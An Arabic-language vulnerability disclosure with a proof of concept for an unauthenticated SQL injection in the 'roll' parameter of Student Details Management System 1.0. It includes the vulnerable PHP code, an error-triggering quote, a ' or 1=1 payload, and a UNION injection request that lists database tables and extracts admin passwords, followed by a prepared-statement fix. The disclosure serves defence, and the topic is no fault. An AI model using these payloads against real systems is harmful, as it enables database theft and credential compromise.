
إثبات مفهوم لثغرة حقن SQL غير مصادق عليها في نظام إدارة بيانات الطلاب الإصدار 1.0، مع توضيح استخراج البيانات القائم على UNION وسرقة بيانات الاعتماد.
| الحقل | التفاصيل |
|---|
| المنتج | نظام إدارة بيانات الطلاب |
| البائع | code-projects.org |
| الإصدار | 1.0 |
| نوع الثغرة | حقن SQL (CWE-89) |
| معرف CVE | قيد الانتظار |
| درجة CVSS | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | لا |
| الملف المتأثر | /SMS/index.php |
| المعامل القابل للاستغلال | roll (POST) |
توجد ثغرة حرجة في حقن SQL في ملف index.php الخاص بنظام إدارة بيانات الطلاب 1.0. يتم دمج معامل roll المرسل عبر طلب POST مباشرة في استعلام SQL خام دون أي تعقيم أو تحقق من صحة الإدخال أو استخدام عبارات مُعدّة مسبقًا. وهذا يسمح لمهاجم عن بُعد غير مصادق بحقن SQL تعسفي وتنفيذ استخراج بيانات قائم على UNION، مما يؤدي إلى تفريغ خادم قاعدة البيانات بالكامل بما في ذلك جداول بيانات الاعتماد.
توجد الثغرة في نموذج البحث عن الطلاب المواجه للجمهور، ولا تتطلب أي مصادقة.
الملف: index.php (الأسطر 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
يتم أخذ كل من $Standard و $RollNo مباشرة من $_POST دون أي تهريب أو معاملات. يتحكم المهاجم في معامل roll للخروج من سياق سلسلة SQL وحقن استعلامات تعسفية.
انتقل إلى الصفحة الرئيسية للتطبيق وأدخل رقم لفة صحيح:
http://<TARGET>/SMS/index.php
أدخل 1001 في حقل رقم اللفة ← يعيد التطبيق سجلات الطلاب بشكل طبيعي.

أدخل علامة اقتباس مفردة ' في حقل رقم اللفة وانقر على SHOW INFO.
النتيجة: يلقي MariaDB خطأً فادحًا يكشف استعلام SQL الخام ومسار الملف:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

الحمولة:
' or 1=1 -- -
النتيجة: يتم إرجاع جميع سجلات الطلاب في قاعدة البيانات دون أي رقم لفة صحيح، مما يؤكد أن الحقن قابل للاستغلال.

طلب Burp Suite:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
النتيجة: يعكس عمود name (الموضع 3 في UNION) كل اسم جدول عبر جميع قواعد البيانات في مثيل MySQL — بما في ذلك admin و global_priv و users و mysql.user وجداول بيانات الاعتماد من تطبيقات متعددة أخرى مثبتة على نفس مثيل XAMPP.

يكشف التفريغ عن جداول حساسة بما في ذلك admin و users و global_priv و tbl_admin من قواعد بيانات أخرى على نفس الخادم. يمكن للمهاجم استخراج بيانات الاعتماد باستخدام:
roll=1' union select null,null,password,null,null,null,null from admin-- -
بالإضافة إلى إخراج الأخطاء التفصيلي (الخطوة 2)، يتم أيضًا تأكيد الكشف الكامل لمسار الملف:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
adminاستخدم عبارات مُعدّة مسبقًا مع معاملات مرتبطة:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
بالإضافة إلى ذلك، قم بتعطيل إخراج أخطاء PHP/MySQL التفصيلي في بيئة الإنتاج عن طريق ضبط display_errors = Off في php.ini.
الباحث: Imad Alvi